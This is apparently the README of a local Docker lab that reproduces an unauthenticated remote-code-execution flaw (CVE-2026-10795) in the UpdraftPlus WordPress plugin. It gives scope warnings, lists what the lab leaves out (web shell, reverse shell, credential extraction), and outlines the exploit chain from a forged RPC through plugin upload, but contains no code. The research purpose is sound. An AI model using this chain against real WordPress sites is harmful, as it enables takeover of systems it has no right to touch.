This lab is for local security research and controlled demonstration only.
Do not run the PoC against systems you do not own or do not have explicit permission to test.
Do not use real credentials, production secrets, or external targets in this lab.
The PoC is intentionally scoped to local Docker services such as:
http://127.0.0.1:8081
http://127.0.0.1:8082
http://localhost:8081
http://localhost:8082
The PoC refuses non-local targets by default.
The marker plugin does not implement a generic command execution parameter. It only exposes a hard-coded local proof endpoint that runs `/usr/bin/id`.
This lab does not include:
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
The goal is to demonstrate one specific technical condition in a controlled environment:
unauthenticated forged RPC
+ vulnerable format=1 validation behavior
+ failed RSA decrypt not rejected
+ predictable symmetric decrypt path
+ privileged UpdraftCentral command dispatch
+ plugin upload and activation
+ patched version blocks before dispatch
## References
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Wordfence Vulnerability Database: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Patchstack Database: UpdraftPlus
https://patchstack.com/database/
* WordPress.org Plugin: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* WordPress.org Plugin SVN
https://plugins.svn.wordpress.org/updraftplus/
* WordPress.org Plugin SVN Tags
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: Authentication Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Web Security Testing Guide
https://owasp.org/www-project-web-security-testing-guide/
标签:CISA项目, Docker, WordPress, 安全防御评估, 应用安全, 文件完整性监控, 漏洞复现环境, 编程工具, 请求拦截, 身份认证绕过, 远程代码执行, 逆向工具